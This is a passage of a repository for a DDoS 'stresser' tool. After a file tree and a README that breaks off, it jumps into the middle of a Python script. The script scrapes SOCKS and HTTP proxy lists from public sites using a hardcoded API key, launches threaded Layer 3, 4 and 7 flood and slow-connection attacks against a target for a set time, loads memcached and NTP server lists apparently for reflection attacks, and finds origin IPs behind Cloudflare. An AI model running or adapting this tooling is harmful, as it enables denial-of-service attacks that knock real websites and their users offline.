├── README.md
├── files
├── README.md
├── memcached_servers.txt
├── ntp_servers.txt
├── proxys
│ └── socks5.txt
├── referers.txt
└── useragent.txt
├── requirements.txt
├── screenshot
├── README.md
└── logo.ico
└── start.py
/README.md:
--------------------------------------------------------------------------------
1 |
")
1129 | proxies = ""
1130 | for proxy in part:
1131 | proxy = proxy.split(" | ")
1132 | try:
1133 | proxies = proxies + proxy[0] + ":" + proxy[1] + "\n"
1134 | except:
1135 | pass
1136 | out_file = open(out_file, "a")
1137 | out_file.write(proxies)
1138 | out_file.close()
1139 | except:
1140 | pass
1141 | if choice == "5":
1142 | f = open(out_file, 'wb')
1143 | try:
1144 | r = requests.get("https://api.proxyscrape.com/?request=displayproxies&proxytype=socks5&country=all",
1145 | timeout=5)
1146 | f.write(r.content)
1147 | except:
1148 | pass
1149 | try:
1150 | r = requests.get("https://www.proxy-list.download/api/v1/get?type=socks5", timeout=5)
1151 | f.write(r.content)
1152 | f.close()
1153 | except:
1154 | pass
1155 | try:
1156 | r = requests.get("http://amp.tsddos.cc/proxy1.txt", timeout=5)
1157 | f.write(r.content)
1158 | f.close()
1159 | except:
1160 | pass
1161 | try:
1162 | r = requests.get("https://www.proxyscan.io/download?type=socks5", timeout=5)
1163 | f.write(r.content)
1164 | f.close()
1165 | except:
1166 | pass
1167 | try:
1168 | r = requests.get("https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/socks5.txt", timeout=5)
1169 | f.write(r.content)
1170 | except:
1171 | pass
1172 | try:
1173 | r = requests.get(
1174 | "https://proxy-daily.com/api/getproxylist?apikey=3Rr6lb-yfeQeotZ2-9M76QI&format=ipport&type=socks5&lastchecked=60",
1175 | timeout=5)
1176 | f.write(r.content)
1177 | except:
1178 | pass
1179 | try:
1180 | r = requests.get(
1181 | "https://gist.githubusercontent.com/Azuures/1e0cb7a1097c720b4ed2aa63acd82179/raw/97d2d6a11873ffa8ca763763f7a5dd4035bcf95f/fwefnwex",
1182 | timeout=5)
1183 | f.write(r.content)
1184 | f.close()
1185 | except:
1186 | f.close()
1187 | if choice == "1":
1188 | f = open(out_file, 'wb')
1189 | try:
1190 | r = requests.get("https://api.proxyscrape.com/?request=displayproxies&proxytype=http&country=all",
1191 | timeout=5)
1192 | f.write(r.content)
1193 | except:
1194 | pass
1195 | try:
1196 | r = requests.get("https://www.proxy-list.download/api/v1/get?type=http", timeout=5)
1197 | f.write(r.content)
1198 | f.close()
1199 | except:
1200 | pass
1201 | try:
1202 | r = requests.get("https://www.proxyscan.io/download?type=http", timeout=5)
1203 | f.write(r.content)
1204 | f.close()
1205 | except:
1206 | pass
1207 | try:
1208 | r = requests.get("https://raw.githubusercontent.com/TheSpeedX/PROXY-List/master/http.txt", timeout=5)
1209 | f.write(r.content)
1210 | except:
1211 | pass
1212 | try:
1213 | r = requests.get(
1214 | "https://proxy-daily.com/api/getproxylist?apikey=3Rr6lb-yfeQeotZ2-9M76QI&format=ipport&type=http&lastchecked=60",
1215 | timeout=5)
1216 | f.write(r.content)
1217 | f.close()
1218 | except:
1219 | f.close()
1220 |
1221 |
1222 | def main():
1223 | global proxies, multiple, choice, timer, out_file
1224 | method = str(sys.argv[1]).lower()
1225 |
1226 | out_file = str("files/proxys/" + sys.argv[5])
1227 | if not os.path.exists(out_file):
1228 | makefile(out_file)
1229 |
1230 | if method == "check":
1231 | proxydl(out_file, socks_type)
1232 | exit()
1233 | if method == "stop":
1234 | url = str(sys.argv[2]).strip()
1235 | UrlFixer(url)
1236 | stop()
1237 | elif (method == "help") or (method == "h"):
1238 | usge()
1239 | elif (method == "check"):
1240 | pass
1241 | elif str(method.upper()) not in str(methods):
1242 | print("method not found")
1243 | exit()
1244 | timer = int(time.time()) + int(sys.argv[7])
1245 | url = str(sys.argv[2]).strip()
1246 | UrlFixer(url)
1247 | choice = str(sys.argv[3]).strip()
1248 | if choice != "4" and choice != "5" and choice != "1":
1249 | print("Socks Type Not Found [4, 5, 1]")
1250 | exit()
1251 | if choice == "4":
1252 | socks_type = 4
1253 | elif choice == "1":
1254 | socks_type = 1
1255 | else:
1256 | socks_type = 5
1257 | threads = int(sys.argv[4])
1258 | proxies = open(out_file).readlines()
1259 | if method == "slow":
1260 | conn = threads
1261 | proxydl(out_file, socks_type)
1262 | print("{} Attack Started To {}:{} For {} Seconds With {}/{} Proxy ".format(method, target, port, sys.argv[7],len(proxies), str(nums)))
1263 |
1264 | for _ in range(conn):
1265 | threading.Thread(target=slow, args=(conn, socks_type), daemon=True).start()
1266 | else:
1267 | multiple = str((sys.argv[6]))
1268 | if multiple == "":
1269 | multiple = int(100)
1270 | else:
1271 | multiple = int(multiple)
1272 | event = threading.Event()
1273 | start_attack(method, threads, event, socks_type)
1274 | event.clear()
1275 | event.set()
1276 | while True:
1277 | try:
1278 | sleep(0.1)
1279 | except KeyboardInterrupt:
1280 | break
1281 |
1282 |
1283 | def proxydl(out_file, socks_type):
1284 | global proxies, multiple, choice, data
1285 | ms = 1
1286 | if socks_type == 1:
1287 | socktyper = "HTTP"
1288 | if socks_type == 4:
1289 | socktyper = "SOCKS4"
1290 | if socks_type == 5:
1291 | socktyper = "SOCKS5"
1292 |
1293 | print("downloading {}'s proxy plz wait".format(socktyper))
1294 | downloadsocks(choice)
1295 | proxies = open(str(out_file)).readlines()
1296 | check_list(out_file)
1297 | check_socks(ms)
1298 |
1299 |
1300 | bds = 0
1301 |
1302 |
1303 | # layer tool :||||||||||||
1304 | def toolgui():
1305 | global bds
1306 | tos = str(to).replace("'", "").replace("[", "").replace("]", "").replace(",", "\n")
1307 | if bds == 0:
1308 | print('''
1309 | Tools:
1310 | ''' + tos+ '''
1311 | Other:
1312 | Clear
1313 | Exit
1314 | ''')
1315 | bds = 1
1316 | tool = input(socket.gethostname() + "@"+name+":~# ").lower()
1317 | if tool != "e" and (tool != "exit") and (tool != "q") and (tool != "quit") and (tool != "logout") and (
1318 | tool != "close"):
1319 | pass
1320 | else:
1321 | exit()
1322 | if tool == "cfip":
1323 | domain = input(socket.gethostname() + '@'+name+'}:~/give-me-ipaddress# ')
1324 | cfip(domain)
1325 | return tools()
1326 | elif tool == "dstat":
1327 | print(tool + ": command ready")
1328 | return tools()
1329 | elif tool == "dns":
1330 | return tools()
1331 | elif tool == "check":
1332 | domain = input(socket.gethostname() + '@'+name+'}:~/give-me-ipaddress# ')
1333 | check(domain)
1334 | return tools()
1335 | elif tool == "ping":
1336 | domain = input(socket.gethostname() + '@'+name+'}:~/give-me-ipaddress# ')
1337 | piger(domain)
1338 | return tools()
1339 | elif tool == "info":
1340 | domain = input(socket.gethostname() + '@'+name+'}:~/give-me-ipaddress# ')
1341 | piger(domain)
1342 | return tools()
1343 | elif (tool == "help") or (tool == "h") or (tool == "?"):
1344 | tos = str(to).replace("'", "").replace("[", "").replace("]", "").replace(",", "\n")
1345 | print('''
1346 | Tools:
1347 | {tos}
1348 | Other:
1349 | Clear
1350 | Exit
1351 | ''')
1352 | return tools()
1353 | elif (tool == "cls") or (tool == 'clear') or (tool == 'c'):
1354 | print("\033[H\033[J")
1355 | return tools()
1356 | elif not tool:
1357 | return tools()
1358 |
1359 | elif " " in tool:
1360 | return tools()
1361 | elif " " in tool:
1362 | return tools()
1363 | elif " " in tool:
1364 | return tools()
1365 | elif "\n" in tool:
1366 | return tools()
1367 | elif "\r" in tool:
1368 | return tools()
1369 |
1370 | else:
1371 | print(tool + ": command not found")
1372 | return tools()
1373 |
1374 |
1375 | def tools():
1376 | global domain, name
1377 | name = "TrojanWave"
1378 | try:
1379 | tool = sys.argv[2].lower()
1380 | if tool != "dstat":
1381 | domain = sys.argv[3]
1382 | if str('.') not in str(domain):
1383 | print('address not found')
1384 | toolgui()
1385 | if tool == "cfip":
1386 | cfip(domain)
1387 | elif tool == "dns":
1388 | print(tool + ": comming soon !")
1389 | elif tool == "check":
1390 | check(domain)
1391 | elif tool == "ping":
1392 | piger(domain)
1393 | elif tool == "dstat":
1394 | address = requests.get('http://ipinfo.io/ip', headers={"User-Agent": UserAgent, }).text
1395 | print('now please attack to {address}')
1396 | os.system('dstat')
1397 | else:
1398 | print('tool not found')
1399 | toolgui()
1400 | except IndexError:
1401 | toolgui()
1402 |
1403 |
1404 | def cfip(domain):
1405 | if str("http") in str(domain):
1406 | domain = domain.replace('https://', '').replace('http:', '').replace('/')
1407 | URL = "http://www.crimeflare.org:82/cgi-bin/cfsearch.cgi"
1408 | r = requests.post(URL, data={"cfS": {domain}}, headers={"User-Agent": UserAgent, }, timeout=1)
1409 | print(r.text)
1410 |
1411 |
1412 | def check(domain):
1413 | if str("http") not in str(domain):
1414 | domain = "http://" + domain
1415 | print('please wait ...')
1416 | r = requests.get(domain, timeout=20)
1417 | if str("50") in str(r.status_code):
1418 | die = "OFFLINE"
1419 | else:
1420 | die = "ONLINE"
1421 | print('\nstatus_code: '+r.status_code)
1422 | print('status: '+die+'\n')
1423 |
1424 |
1425 | def piger(siye):
1426 | if str("https") in str(siye):
1427 | domain = str(siye).replace('https', '').replace('/', '').replace(':', '')
1428 | elif str("http") in str(siye):
1429 | domain = str(siye).replace('http', '').replace('/', '').replace(':', '')
1430 | else:
1431 | domain = str(siye)
1432 | print('please wait ...')
1433 | r = pig(domain, count=5, interval=0.2)
1434 | if r.is_alive:
1435 | die = "ONLINE"
1436 | else:
1437 | die = "OFFLINE"
1438 | print('\nAddress: '+r.address)
1439 | print('Ping: '+r.avg_rtt)
1440 | print('Aceepted Packets: '+r.packets_received+'/'+r.packets_sent)
1441 | print('status: '+die+'\n')
1442 |
1443 |
1444 | def usgeaseets():
1445 | global metho, url, SOCKST, thr, proxylist, muli, tim, l7s, l4s, tos, ots, l3s
1446 | socks = ["1", "4", "5"]
1447 | sockst = ["socks4.txt", "socks5.txt", "http.txt"]
1448 | try:
1449 | if sys.argv[3] not in socks:
1450 | SOCKST = Choice(socks)
1451 | elif sys.argv[3]:
1452 | SOCKST = sys.argv[3]
1453 |
1454 | else:
1455 | SOCKST = Choice(socks)
1456 | except:
1457 | SOCKST = Choice(socks)
1458 |
1459 | if (str(SOCKST) == str('1')):
1460 | proxylist = "http.txt"
1461 | else:
1462 | proxylist = "socks{0}.txt".format(SOCKST)
1463 |
1464 | try:
1465 | met = str(sys.argv[1]).upper()
1466 | if met not in list(methods):
1467 | metho = Choice(methods).lower()
1468 | elif sys.argv[1]:
1469 | metho = sys.argv[1]
1470 | else:
1471 | metho = Choice(methods).lower()
1472 | except:
1473 | metho = Choice(methods).lower()
1474 | try:
1475 | methos = metho.upper()
1476 | if (methos in l4) or (methos in l3):
1477 | url = sys.argv[2]
1478 | elif str("http") not in sys.argv[2]:
1479 | url = "https://example.ir"
1480 | elif sys.argv[2]:
1481 | url = sys.argv[2]
1482 | else:
1483 | url = "https://example.ir"
1484 | except:
1485 | url = "https://example.ir"
1486 | try:
1487 | if sys.argv[4]:
1488 | thr = sys.argv[4]
1489 | else:
1490 | thr = Intn(100, 1000)
1491 | except:
1492 | thr = Intn(10, 1000)
1493 | try:
1494 | if (sys.argv[5] not in sockst):
1495 | exit()
1496 | except IndexError:
1497 | pass
1498 | except:
1499 | print('socks type not found')
1500 | exit()
1501 |
1502 | try:
1503 | if sys.argv[6]:
1504 | muli = sys.argv[6]
1505 | else:
1506 | muli = Intn(5, 100)
1507 | except:
1508 | muli = Intn(5, 100)
1509 | try:
1510 | if sys.argv[7]:
1511 | tim = sys.argv[7]
1512 | else:
1513 | tim = Intn(10, 10000)
1514 | except:
1515 | tim = Intn(10, 10000)
1516 |
1517 | l4s = str(l4).replace("'", "").replace("[", "").replace("]", "")
1518 | l3s = str(l3).replace("'", "").replace("[", "").replace("]", "")
1519 | l7s = str(l7).replace("'", "").replace("[", "").replace("]", "")
1520 | tos = str(to).replace("'", "").replace("[", "").replace("]", "")
1521 | ots = str(ot).replace("'", "").replace("[", "").replace("]", "")
1522 |
1523 |
1524 | def usge():
1525 | usgeaseets()
1526 | print('* Coded By MH_ProDev For Better Stresser')
1527 | print('python3 {} \n'.format(sys.argv[0]))
1528 | print(' > Methods:')
1529 | print(' - L3')
1530 | print(' | {} | {} Methods'.format(l3s, len(l3)))
1531 | print(' - L4')
1532 | print(' | {} | {} Methods'.format(l4s, len(l4)))
1533 | print(' - L7')
1534 | print(' | {} | {} Methods'.format(l7s, len(l7)))
1535 | print(' - TOOLS')
1536 | print(' | {} | {} Methods'.format(tos, len(to)))
1537 | print(' - Other')
1538 | print(' | {} | {} Methods'.format(ots, len(ot)))
1539 | print(' - All {} Method \n'.format(len(methodsl)))
1540 | print(
1541 | 'expmple:\n python3 {} {} {} {} {} {} {} {}'.format(sys.argv[0], metho, url, SOCKST, thr, proxylist, muli, tim))
1542 |
1543 |
1544 | def makefile(text):
1545 | if text == "files/":
1546 | os.mkdir(text)
1547 | elif text == "files/proxys/":
1548 | os.mkdir(text)
1549 | else:
1550 | open(text, 'w').close()
1551 | print('File: ', text)
1552 |
1553 | if __name__ == '__main__':
1554 | import os, requests, socket, socks, time, random, threading, sys, ssl, datetime, cfscrape, re
1555 | from time import sleep
1556 | from icmplib import ping as pig
1557 | from scapy.layers.inet import TCP
1558 | from scapy.all import *
1559 | from socket import gaierror
1560 | acceptall = [
1561 | "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate",
1562 | "Accept-Encoding: gzip, deflate",
1563 | "Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflate",
1564 | "Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Charset: iso-8859-1Accept-Encoding: gzip",
1565 | "Accept: application/xml,application/xhtml+xml,text/html;q=0.9, text/plain;q=0.8,image/png,*/*;q=0.5Accept-Charset: iso-8859-1",
1566 | "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1Accept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1Accept-Charset: utf-8, iso-8859-1;q=0.5",
1567 | "Accept: image/jpeg, application/x-ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-ms-xbap, application/x-shockwave-flash, application/msword, */*Accept-Language: en-US,en;q=0.5",
1568 | "Accept: text/html, application/xhtml+xml, image/jxr, */*Accept-Encoding: gzipAccept-Charset: utf-8, iso-8859-1;q=0.5Accept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1",
1569 | "Accept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1Accept-Encoding: gzipAccept-Language: en-US,en;q=0.5Accept-Charset: utf-8, iso-8859-1;q=0.5,"
1570 | "Accept: text/html, application/xhtml+xml, application/xml;q=0.9, */*;q=0.8Accept-Language: en-US,en;q=0.5",
1571 | "Accept-Charset: utf-8, iso-8859-1;q=0.5Accept-Language: utf-8, iso-8859-1;q=0.5, *;q=0.1",
1572 | "Accept: text/html, application/xhtml+xml",
1573 | "Accept-Language: en-US,en;q=0.5",
1574 | "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Encoding: br;q=1.0, gzip;q=0.8, *;q=0.1",
1575 | "Accept: text/plain;q=0.8,image/png,*/*;q=0.5Accept-Charset: iso-8859-1",
1576 | ]
1577 |
1578 | data = ""
1579 | strings = "asdfghjklqwertyuiopZXCVBNMQWERTYUIOPASDFGHJKLzxcvbnm1234567890"
1580 | Intn = random.randint
1581 | Choice = random.choice
1582 | if not os.path.exists('files/'):
1583 | makefile('files/')
1584 | if not os.path.exists('files/proxys/'):
1585 | makefile('files/proxys/')
1586 | if not os.path.exists('files/useragent.txt'):
1587 | makefile('files/proxys/useragent.txt')
1588 | if not os.path.exists('files/ntp_servers.txt'):
1589 | makefile('files/ntp_servers.txt')
1590 | if not os.path.exists('files/memcached_servers.txt'):
1591 | makefile('files/memcached_servers.txt')
1592 | if not os.path.exists('files/referers.txt'):
1593 | makefile('files/referers.txt')
1594 | try:
1595 | with open("files/useragent.txt", "r") as f:
1596 | readuser = str(f.readlines()).replace('\n', '').replace('\r', '')
1597 | with open("files/referers.txt", "r") as f:
1598 | readref = str(f.readlines()).replace('\n', '').replace('\r', '')
1599 | with open("files/memcached_servers.txt", "r") as f:
1600 | memsv = str(f.readlines()).replace('\n', '').replace('\r', '')
1601 | with open("files/ntp_servers.txt", "r") as f:
1602 | ntpsv = str(f.readlines()).replace('\n', '').replace('\r', '')
1603 | UserAgent = Choice(readuser)
1604 | referers = Choice(readref)
1605 | memcached_servers = Choice(memsv)
1606 | try:
1607 | bdr = str(sys.argv[1]).lower()
1608 | if bdr == "tools":
1609 | tools()
1610 | elif bdr == "stop":
1611 | stop()
1612 | elif bdr == "help":
1613 | usge()
1614 | elif len(sys.argv) <= int(7):
1615 | usge()
1616 | else:
1617 | main()
1618 | except IndexError:
1619 | usge()
1620 | except KeyboardInterrupt:
1621 | sys.exit()
1622 | except IndexError:
1623 | usge()
1624 |
1625 |
--------------------------------------------------------------------------------
|